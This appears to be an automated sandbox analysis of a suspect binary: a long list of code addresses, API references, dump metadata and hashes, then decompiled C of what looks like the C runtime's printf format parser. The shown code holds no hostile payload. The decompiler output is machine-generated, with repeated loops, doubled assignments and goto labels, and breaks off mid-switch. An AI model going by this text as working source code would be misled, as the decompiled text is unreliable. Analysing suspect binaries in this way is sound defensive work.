0x0042765e
0x0042765e
0x00427665
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004276a8
0x004276a8
0x004276af
0x004276b2
0x004276dc
0x004276df
0x004276df
0x004276e2
0x004276e9
0x004276e9
0x004276ed
0x004276b4
0x004276b4
0x004276c0
0x004276c3
0x004276c7
0x004276c9
0x004276cc
0x004276cc
0x004276cf
0x004276d5
0x004276d7
0x004276d7
0x004276da
0x004276f0
0x00000000
0x00000000
0x004276f5
0x004276f5
0x00000000
0x00000000
0x00427701
0x00427701
0x00427708
0x0042770b
0x0042772b
0x0042772e
0x0042772e
0x00427738
0x00427738
0x0042773c
0x0042770d
0x0042770d
0x00427719
0x0042771c
0x00427720
0x00427722
0x00427722
0x00427729
0x00000000
0x00000000
0x00427744
0x00427744
0x0042774b
0x00427757
0x0042775a
0x00427760
0x00427767
0x0042787a
0x00000000
0x0042787a
0x0042776d
0x0042776d
0x00427773
0x00427773
0x0042777a
0x00000000
0x004277b0
0x004277b0
0x004277b3
0x004277b6
0x004277b9
0x004277e1
0x004277e1
0x004277e4
0x004277e7
0x004277ea
0x0042780f
0x0042780f
0x00427812
0x00427815
0x00427818
0x00427851
0x00427862
0x00000000
0x00427862
0x0042781a
0x0042781a
0x0042781d
0x00427820
0x00427823
0x00000000
0x00000000
0x00427825
0x00427825
0x00427828
0x0042782b
0x0042782e
0x00000000
0x00000000
0x00427830
0x00427830
0x00427833
0x00427836
0x00427839
0x00000000
0x00000000
0x0042783b
0x0042783b
0x0042783e
0x00427841
0x00427844
0x00000000
0x00000000
0x00427846
0x00427846
0x00427849
0x0042784c
0x0042784f
0x00427853
0x00000000
0x00427853
0x00000000
0x0042784f
0x004277ec
0x004277ec
0x004277ef
0x004277f3
0x004277f6
0x00000000
0x004277f8
0x004277fb
0x004277fe
0x00427801
0x00427804
0x0042780a
0x00000000
0x0042780a
0x004277f6
0x004277bb
0x004277bb
0x004277be
0x004277c2
0x004277c5
0x00000000
0x004277c7
0x004277ca
0x004277cd
0x004277d0
0x004277d3
0x004277d9
0x00000000
0x004277d9
0x00000000
0x00427864
0x00427867
0x0042786a
0x00000000
0x00000000
0x00427781
0x00427781
0x00427784
0x00427787
0x0042778a
0x004277a2
0x004277a5
0x004277a5
0x004277a8
0x0042778c
0x0042778f
0x00427792
0x00427798
0x0042779d
0x0042779d
0x00000000
0x00000000
0x0042786f
0x0042786f
0x00427872
0x00427872
0x00427877
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042787f
0x0042787f
0x00427886
0x00427892
0x00427895
0x0042789b
0x004278a2
0x004280c3
0x004280c3
0x004280c3
0x004280c7
0x00000000
0x00000000
0x00000000
0x004280c7
0x004280c3
0x004278a8
0x004278ae
0x004278ae
0x004278b5
0x00000000
0x00427c0f
0x00427c0f
0x00427c16
0x00427c1d
0x00427c1d
0x00427c20
0x00000000
0x00000000
0x004278bc
0x004278bf
0x004278bf
0x004278c5
0x004278c7
0x004278ca
0x004278ca
0x004278cf
0x004278cf
0x00000000
0x00000000
0x004279fc
0x004279ff
0x004279ff
0x00427a04
0x00427a06
0x00427a09
0x00427a09
0x00427a0f
0x00427a0f
0x00000000
0x00000000
0x00427ddc
0x00427ddc
0x00000000
0x00000000
0x00427966
0x00427966
0x00427972
0x00427978
0x0042797f
0x0042798d
0x0042798d
0x00427993
0x00427996
0x004279a2
0x004279f7
0x00000000
0x004279f7
0x00427981
0x00427981
0x00427987
0x0042798b
0x004279aa
0x004279aa
0x004279b0
0x004279d8
0x004279df
0x004279e5
0x004279e8
0x004279eb
0x004279f1
0x004279f4
0x004279b2
0x004279b2
0x004279b8
0x004279bb
0x004279be
0x004279c4
0x004279c7
0x004279ca
0x004279cc
0x004279cf
0x004279cf
0x00000000
0x004279b0
0x00000000
0x00000000
0x00427c26
0x00427c29
0x00427c2c
0x00427c2f
0x00427c35
0x00427c38
0x00427c3f
0x00427c43
0x00427c4e
0x00427c4e
0x00427c52
0x00427c69
0x00427c69
0x00427c70
0x00427c72
0x00427c72
0x00427c79
0x00427c79
0x00427c80
0x00427c91
0x00427ca0
0x00427ca3
0x00427ca7
0x00427cbd
0x00427ca9
0x00427ca9
0x00427cac
0x00427cb2
0x00427cb8
0x00427cb8
0x00427ca7
0x00427cc7
0x00427cca
0x00427ccd
0x00427cd0
0x00427cd0
0x00427cd3
0x00427cd3
0x00427cd6
0x00427cdc
0x00427ce2
0x00427cea
0x00427ceb
0x00427cee
0x00427cef
0x00427cf2
0x00427cf3
0x00427cfa
0x00427cfb
0x00427cfe
0x00427cff
0x00427d02
0x00427d03
0x00427d09
0x00427d0a
0x00427d18
0x00427d1a
0x00427d20
0x00427d20
0x00427d26
0x00427d28
0x00427d2c
0x00427d2e
0x00427d36
0x00427d37
0x00427d3a
0x00427d3b
0x00427d49
0x00427d4b
0x00427d4b
0x00427d2c
0x00427d4e
0x00427d55
0x00427d58
0x00427d5d
0x00427d5d
0x00427d63
0x00427d65
0x00427d6d
0x00427d6e
0x00427d71
0x00427d72
0x00427d81
0x00427d83
0x00427d83
0x00427d63
0x00427d86
0x00427d89
0x00427d8c
0x00427d8f
0x00427d94
0x00427d9a
0x00427d9d
0x00427da0
0x00427da0
0x00427da3
0x00427da3
0x00427da6
0x00427db2
0x004280c3
0x004280c3
0x004280c3
0x004280c7
0x00000000
0x00000000
0x00000000
0x004280c7
0x00000000
0x004280c3
0x00427c54
0x00427c54
0x00427c5b
0x00427c5e
0x00000000
0x00000000
0x00427c60
0x00427c60
0x00000000
0x00427c60
0x00427c45
0x00427c45
0x00000000
0x00000000
0x004278d2
0x004278d5
0x004278d5
0x004278db
0x00427936
0x0042793e
0x00427945
0x0042794b
0x00427951
0x004278dd
0x004278dd
0x004278e7
0x004278eb
0x004278f3
0x004278fa
0x00427907
0x0042790e
0x0042791a
0x00427920
0x00427927
0x00427929
0x00427929
0x00427930
0x00427958
0x0042795e
0x004280c3
0x004280c3
0x004280c3
0x004280c7
0x00000000
0x00000000
0x00000000
0x004280c7
0x00000000
0x00427dba
0x00427dbd
0x00427dc0
0x00427dc3
0x00427e3b
0x00427e3e
0x00427e43
0x00427e65
0x00427e65
0x00427e6b
0x00427e8d
0x00427e90
0x00427ed7
0x00427ed7
0x00427eda
0x00427efb
0x00427f00
0x00427f03
0x00427f05
0x00427f0b
0x00427edc
0x00427ee0
0x00427ee5
0x00427ee8
0x00427ee9
0x00427eef
0x00427eef
0x00427e92
0x00427e95
0x00427e95
0x00427e98
0x00427eba
0x00427ebf
0x00427ec5
0x00427ec6
0x00427ecc
0x00427e9a
0x00427e9e
0x00427ea3
0x00427ea7
0x00427ea8
0x00427eae
0x00427eae
0x00427ed2
0x00427e6d
0x00427e71
0x00427e76
0x00427e79
0x00427e7f
0x00427e7f
0x00427e45
0x00427e49
0x00427e4e
0x00427e51
0x00427e57
0x00427e57
0x00427f14
0x00427f17
0x00000000
0x00000000
0x00000000
0x00427b18
0x00427b18
0x00427b24
0x00427b2a
0x00427b2f
0x00427b31
0x00427bdb
0x00427bde
0x00427bde
0x00427be1
0x00427bf5
0x00427bfb
0x00427c01
0x00427be3
0x00427be3
0x00427bf0
0x00427bf0
0x00427c03
0x004280c3
0x004280c3
0x004280c3
0x004280c7
0x00000000
0x00000000
0x00000000
0x004280c7
0x004280c3
0x00427b37
0x00427b37
0x00427b37
0x00427b39
0x00427b47
0x00427b3b
0x00427b3b
0x00427b3b
0x00427b51
0x00427b57
0x00427b5d
0x00427b64
0x00427b66
0x00427b6b
0x00427b6d
0x00427b72
0x00427b77
0x00427b79
0x00427b7e
0x00427b81
0x00427b84
0x00427b86
0x00427b86
0x00427b84
0x00427b87
0x00427b8e
0x00427bd6
0x004280c3
0x004280c3
0x004280c3
0x004280c7
0x00000000
0x00000000
0x00000000
0x004280c7
0x00427b90
0x00427b90
0x00427b95
0x00427bb1
0x00427bb9
0x00427bc3
0x00427bc6
0x00427bcb
0x004282e8
0x004282f5
0x004282f5
0x00000000
0x00000000
0x00000000
0x00427dd5
0x00427dd5
0x00000000
0x00000000
0x00427a12
0x00427a12
0x00427a16
0x00427a24
0x00427a27
0x00427a18
0x00427a18
0x00427a18
0x00427a2d
0x00427a33
0x00427a39
0x00427a45
0x00427a4b
0x00427a4b
0x00427a51
0x00427ab8
0x00427ab8
0x00427abc
0x00427abe
0x00427ac4
0x00427ac4
0x00427ac7
0x00427aca
0x00427ad0
0x00427ad0
0x00427ad0
0x00427adc
0x00427adf
0x00427ae5
0x00427ae7
0x00000000
0x00000000
0x00427ae9
0x00427ae9
0x00427aef
0x00427af2
0x00427af4
0x00000000
0x00000000
0x00427af6
0x00427afc
0x00427aff
0x00427aff
0x00427b07
0x00427b07
0x00427b0d
0x00427b0d
0x00427b10
0x00000000
0x00427a53
0x00427a53
0x00427a53
0x00427a57
0x00427a59
0x00427a5e
0x00427a5e
0x00427a61
0x00427a68
0x00427a6b
0x00427a71
0x00427a71
0x00427a71
0x00427a7d
0x00427a80
0x00427a86
0x00427a88
0x00000000
0x00000000
0x00427a8a
0x00427a8a
0x00427a90
0x00427a93
0x00427a95
0x00000000
0x00000000
0x00427a97
0x00427a9d
0x00427aa0
0x00427aa0
0x00427aa8
0x00427aae
0x00427ab1
0x00427ab3
0x00427b13
0x004280c3
0x004280c3
0x004280c3
0x004280c7
0x00000000
0x00000000
0x00000000
0x004280c7
0x004280c3
0x00000000
0x00427dcc
0x00427dcc
0x00427e3b
0x00427e3b
0x00427e3e
0x00427e43
0x00427e65
0x00427e65
0x00427e6b
0x00427e8d
0x00427e90
0x00427ed7
0x00427ed7
0x00427eda
0x00427efb
0x00427f00
0x00427f03
0x00427f05
0x00427f0b
0x00427edc
0x00427ee0
0x00427ee5
0x00427ee8
0x00427ee9
0x00427eef
0x00427eef
0x00427e92
0x00427e95
0x00427e95
0x00427e98
0x00427eba
0x00427ebf
0x00427ec5
0x00427ec6
0x00427ecc
0x00427e9a
0x00427e9e
0x00427ea3
0x00427ea7
0x00427ea8
0x00427eae
0x00427eae
0x00427ed2
0x00427e6d
0x00427e71
0x00427e76
0x00427e79
0x00427e7f
0x00427e7f
0x00427e45
0x00427e49
0x00427e4e
0x00427e51
0x00427e57
0x00427e57
0x00427f14
0x00427f17
0x00000000
0x00000000
0x00000000
0x00427f17
0x00000000
0x00427de8
0x00427de8
0x00427df2
0x00427df2
0x00427dfc
0x00427dfc
0x00427e02
0x00427e04
0x00427e0e
0x00427e0e
0x00427e11
0x00427e14
0x00427e14
0x00427e3b
0x00427e3b
0x00427e3e
0x00427e43
0x00427e65
0x00427e65
0x00427e6b
0x00427e8d
0x00427e90
0x00427ed7
0x00427ed7
0x00427eda
0x00427efb
0x00427f00
0x00427f03
0x00427f05
0x00427f0b
0x00427edc
0x00427ee0
0x00427ee5
0x00427ee8
0x00427ee9
0x00427eef
0x00427eef
0x00427e92
0x00427e95
0x00427e95
0x00427e98
0x00427eba
0x00427ebf
0x00427ec5
0x00427ec6
0x00427ecc
0x00427e9a
0x00427e9e
0x00427ea3
0x00427ea7
0x00427ea8
0x00427eae
0x00427eae
0x00427ed2
0x00427e6d
0x00427e71
0x00427e76
0x00427e79
0x00427e7f
0x00427e7f
0x00427e45
0x00427e49
0x00427e4e
0x00427e51
0x00427e57
0x00427e57
0x00427f14
0x00427f17
0x00000000
0x00000000
0x00000000
0x00427f17
0x00000000
0x004280c3
0x004280c3
0x004280c3
0x004280c7
0x00000000
0x00000000
0x00000000
0x004280c7
0x00000000
0x00000000
0x00427682
0x00427685
0x00427688
0x00000000
0x00000000
0x0042768d
0x00427690
0x00427695
0x00000000
0x00000000
0x00427677
0x00427677
0x0042767a
0x0042767d
0x00000000
0x00000000
0x0042766c
0x0042766f
0x00427672
0x00000000
0x00000000
0x0042769a
0x0042769a
0x0042769d
0x0042769d
0x004276a0
0x00000000
0x00000000
0x004276a3
0x00000000
0x00000000
0x004274fd
0x004282ce
0x004282d4
0x004282dd
0x004282e2
0x00000000
0x004282e2
0x004280c3
0x0042809a
0x0042809a
0x0042809e
0x004280ab
0x004280b1
0x004280b7
0x004280bd
0x004280bd
0x004280c0
0x00000000
0x004280c0
0x004280a0
0x004280a6
0x004280a9
0x00000000
0x00000000
0x00000000
0x004280a9
0x00428002
0x00428005
0x0042800f
0x0042801e
0x00428027
0x0042803d
0x00428043
0x00428049
0x00428050
0x00428058
0x00428058
0x0042805e
0x0042805e
0x0042806d
0x00428075
0x00427fe4
0x00427fea
0x00427fed
0x00427ff0
0x00427ff2
0x00000000
0x00000000
0x00000000
0x00427ff2
0x00427fe4
0x00427f24
0x00427f24
0x00427f2b
0x00000000
0x00000000
0x00000000
0x00427f59
0x00427f5f
0x00427f6b
0x00000000
0x00427f6b
0x00427e3b

APIs

_get_int64_arg.LIBCMTD ref: 00427E49
__aullrem.LIBCMT ref: 00428016
__aulldiv.LIBCMT ref: 00428038

Strings

9, xrefs: 00428049

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 16cc12f056c7e8e5a16d88d8436e1501bcfe4573fab86ef5ecc59b388832d3e0
Instruction ID: 13f6511a5bdb8908e679f1b7b52aad0de28f57fa88932016e62d8510b31cbc62
Opcode Fuzzy Hash: 16cc12f056c7e8e5a16d88d8436e1501bcfe4573fab86ef5ecc59b388832d3e0
Instruction Fuzzy Hash: 89410671E08229DFDB64DF48DD89BAEB7B5BB84300F5085DAE409A7244CB389E80CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0043C44D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0043C44D(intOrPtr __ebx, signed int __edx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t483;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t517;
				void* _t535;
				intOrPtr _t539;
				signed int _t556;
				signed short _t557;
				signed int _t560;
				signed int _t563;
				signed int _t564;
				intOrPtr _t565;
				signed int _t619;
				signed int _t621;
				signed int _t623;
				signed int _t630;
				signed int _t642;
				signed int _t669;
				intOrPtr _t670;
				intOrPtr _t671;
				signed int _t672;
				void* _t674;
				void* _t675;
				signed int _t681;

				L0:
				while(1) {
					L0:
					_t671 = __esi;
					_t670 = __edi;
					_t619 = __edx;
					_t565 = __ebx;
					 *(_t672 - 8) = 0xa;
					L150:
					while(1) {
						L150:
						while(1) {
							L150:
							while(1) {
								L150:
								if(( *(_t672 - 0x10) & 0x00008000) == 0) {
									_t621 =  *(_t672 - 0x10) & 0x00001000;
									if(_t621 == 0) {
										if(( *(_t672 - 0x10) & 0x00000020) == 0) {
											_t623 =  *(_t672 - 0x10) & 0x00000040;
											if(_t623 == 0) {
												_t483 = E00428400(_t672 + 0x14);
												_t675 = _t674 + 4;
												 *(_t672 - 0x4a0) = _t483;
												 *(_t672 - 0x49c) = 0;
											} else {
												_t556 = E00428400(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t556;
												 *(_t672 - 0x49c) = _t623;
											}
										} else {
											_t669 =  *(_t672 - 0x10) & 0x00000040;
											if(_t669 == 0) {
												_t557 = E00428400(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t557 & 0x0000ffff;
												 *(_t672 - 0x49c) = _t669;
											} else {
												_t560 = E00428400(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t560;
												 *(_t672 - 0x49c) = _t669;
											}
										}
									} else {
										_t563 = E00428420(_t672 + 0x14);
										_t675 = _t674 + 4;
										 *(_t672 - 0x4a0) = _t563;
										 *(_t672 - 0x49c) = _t621;
									}
								} else {
									_t564 = E00428420(_t672 + 0x14);
									_t675 = _t674 + 4;
									 *(_t672 - 0x4a0) = _t564;
									 *(_t672 - 0x49c) = _t619;
								}
								if(( *(_t672 - 0x10) & 0x00000040) == 0) {
									L167:
									 *(_t672 - 0x4a8) =  *(_t672 - 0x4a0);
									 *(_t672 - 0x4a4) =  *(_t672 - 0x49c);
									goto L168;
								} else {
									L163:
									_t681 =  *(_t672 - 0x49c);
									if(_t681 > 0 || _t681 >= 0 &&  *(_t672 - 0x4a0) >= 0) {
										goto L167;
									} else {
										L166:
										asm("adc edx, 0x0");
										 *(_t672 - 0x4a8) =  ~( *(_t672 - 0x4a0));
										 *(_t672 - 0x4a4) =  ~( *(_t672 - 0x49c));
										 *(_t672 - 0x10) =  *(_t672 - 0x10) | 0x00000100;
										L168:
										if(( *(_t672 - 0x10) & 0x00008000) == 0 && ( *(_t672 - 0x10) & 0x00001000) == 0) {
											 *(_t672 - 0x4a4) =  *(_t672 - 0x4a4) & 0x00000000;
										}
										if( *(_t672 - 0x30) >= 0) {
											 *(_t672 - 0x10) =  *(_t672 - 0x10) & 0xfffffff7;
											if( *(_t672 - 0x30) > 0x200) {
												 *(_t672 - 0x30) = 0x200;
											}
										} else {
											 *(_t672 - 0x30) = 1;
										}
										if(( *(_t672 - 0x4a8) |  *(_t672 - 0x4a4)) == 0) {
											 *(_t672 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t672 - 4)) = _t672 - 0x249;
										while(1) {
											L178:
											_t629 =  *(_t672 - 0x30) - 1;
											 *(_t672 - 0x30) =  *(_t672 - 0x30) - 1;
											if( *(_t672 - 0x30) <= 0 && ( *(_t672 - 0x4a8) |  *(_t672 - 0x4a4)) == 0) {
												break;
											}
											L180:
											asm("cdq");
											_t630 =  *(_t672 - 0x4a8);
											 *((intOrPtr*)(_t672 - 0x494)) = E00430830(_t630,  *(_t672 - 0x4a4),  *(_t672 - 8), _t629) + 0x30;
											asm("cdq");
											 *(_t672 - 0x4a8) = E004308B0( *(_t672 - 0x4a8),  *(_t672 - 0x4a4),  *(_t672 - 8), _t630);
											 *(_t672 - 0x4a4) = _t630;
											if( *((intOrPtr*)(_t672 - 0x494)) > 0x39) {
												 *((intOrPtr*)(_t672 - 0x494)) =  *((intOrPtr*)(_t672 - 0x494)) +  *((intOrPtr*)(_t672 - 0x460));
											}
											 *((char*)( *((intOrPtr*)(_t672 - 4)))) =  *((intOrPtr*)(_t672 - 0x494));
											 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) - 1;
										}
										L183:
										 *((intOrPtr*)(_t672 - 0x24)) = _t672 - 0x249 -  *((intOrPtr*)(_t672 - 4));
										 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) + 1;
										if(( *(_t672 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t672 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t672 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t672 - 4)))) = 0x30;
											 *((intOrPtr*)(_t672 - 0x24)) =  *((intOrPtr*)(_t672 - 0x24)) + 1;
										}
										L187:
										while(1) {
											L187:
											while(1) {
												L187:
												while(1) {
													L187:
													while(1) {
														L187:
														while(1) {
															L187:
															while(1) {
																L187:
																while(1) {
																	do {
																		L187:
																		if( *((intOrPtr*)(_t672 - 0x28)) != 0) {
																			L212:
																			if( *(_t672 - 0x20) != 0) {
																				L0041C5E0( *(_t672 - 0x20), 2);
																				_t675 = _t675 + 8;
																				 *(_t672 - 0x20) = 0;
																			}
																			while(1) {
																				L214:
																				 *(_t672 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t672 + 0xc))));
																				_t578 =  *(_t672 - 0x454) & 0x0000ffff;
																				 *((intOrPtr*)(_t672 + 0xc)) =  *((intOrPtr*)(_t672 + 0xc)) + 2;
																				if(( *(_t672 - 0x454) & 0x0000ffff) == 0 ||  *(_t672 - 0x44c) < 0) {
																					break;
																				} else {
																					if(( *(_t672 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t672 - 0x454) & 0x0000ffff) > 0x78) {
																						 *(_t672 - 0x4d8) = 0;
																					} else {
																						 *(_t672 - 0x4d8) =  *(( *(_t672 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
																					}
																				}
																				L7:
																				 *(_t672 - 0x450) =  *(_t672 - 0x4d8);
																				_t642 =  *(_t672 - 0x450) * 9;
																				_t509 =  *(_t672 - 0x45c);
																				_t586 = ( *(_t642 + _t509 + 0x407e38) & 0x000000ff) >> 4;
																				 *(_t672 - 0x45c) = ( *(_t642 + _t509 + 0x407e38) & 0x000000ff) >> 4;
																				if( *(_t672 - 0x45c) != 8) {
																					L16:
																					 *(_t672 - 0x4e0) =  *(_t672 - 0x45c);
																					if( *(_t672 - 0x4e0) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t672 - 0x4e0) * 4 +  &M0043CA24))) {
																						case 0:
																							L18:
																							 *(_t672 - 0xc) = 1;
																							E0043CB30( *(_t672 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																							_t675 = _t675 + 0xc;
																							goto L214;
																						case 1:
																							L19:
																							 *(__ebp - 0x2c) = 0;
																							__ecx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) = __ecx;
																							__edx =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__eax =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L214;
																						case 2:
																							L20:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e4) = __ecx;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							if( *(__ebp - 0x4e4) > 0x10) {
																								goto L27;
																							}
																							L21:
																							_t57 =  *(__ebp - 0x4e4) + 0x43ca5c; // 0x498d04
																							__ecx =  *_t57 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA44))) {
																								case 0:
																									goto L24;
																								case 1:
																									goto L25;
																								case 2:
																									goto L23;
																								case 3:
																									goto L22;
																								case 4:
																									goto L26;
																								case 5:
																									goto L27;
																							}
																						case 3:
																							L28:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								 *(__ebp - 0x18) =  *(__ebp - 0x18) * 0xa;
																								_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__ecx =  *(__ebp - 0x18) * 0xa + _t81;
																								 *(__ebp - 0x18) = __ecx;
																							} else {
																								__edx = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00428400(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									__ecx =  *(__ebp - 0x18);
																									__ecx =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) = __ecx;
																								}
																							}
																							goto L214;
																						case 4:
																							L34:
																							 *(__ebp - 0x30) = 0;
																							goto L214;
																						case 5:
																							L35:
																							__edx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								__ecx =  *(__ebp - 0x30);
																								__ecx =  *(__ebp - 0x30) * 0xa;
																								_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__eax = __ecx + _t92;
																								 *(__ebp - 0x30) = __ecx + _t92;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00428400(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L214;
																						case 6:
																							L41:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e8) = __ecx;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							if( *(__ebp - 0x4e8) > 0x2e) {
																								L64:
																								goto L214;
																							}
																							L42:
																							_t100 =  *(__ebp - 0x4e8) + 0x43ca84; // 0xc2919003
																							__ecx =  *_t100 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA70))) {
																								case 0:
																									L47:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																										L50:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																										if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																											L53:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x64) {
																												L59:
																												L61:
																												goto L64;
																											}
																											L54:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x69) {
																												goto L59;
																											}
																											L55:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																												goto L59;
																											}
																											L56:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x75) {
																												goto L59;
																											}
																											L57:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x78) {
																												goto L59;
																											}
																											L58:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																												 *(__ebp - 0x45c) = 0;
																												goto L18;
																											}
																											goto L59;
																										}
																										L51:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																										if(__ecx != 0x32) {
																											goto L53;
																										} else {
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											goto L61;
																										}
																									}
																									L48:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																									if(__ecx != 0x34) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										goto L61;
																									}
																								case 1:
																									L62:
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) = __ecx;
																									goto L64;
																								case 2:
																									L43:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																									} else {
																										__ecx =  *(__ebp + 0xc);
																										__ecx =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) = __ecx;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L64;
																								case 3:
																									L63:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L64;
																								case 4:
																									goto L64;
																							}
																						case 7:
																							goto L65;
																						case 8:
																							L24:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) = __ecx;
																							goto L27;
																						case 9:
																							L25:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L27;
																						case 0xa:
																							L23:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							goto L27;
																						case 0xb:
																							L22:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
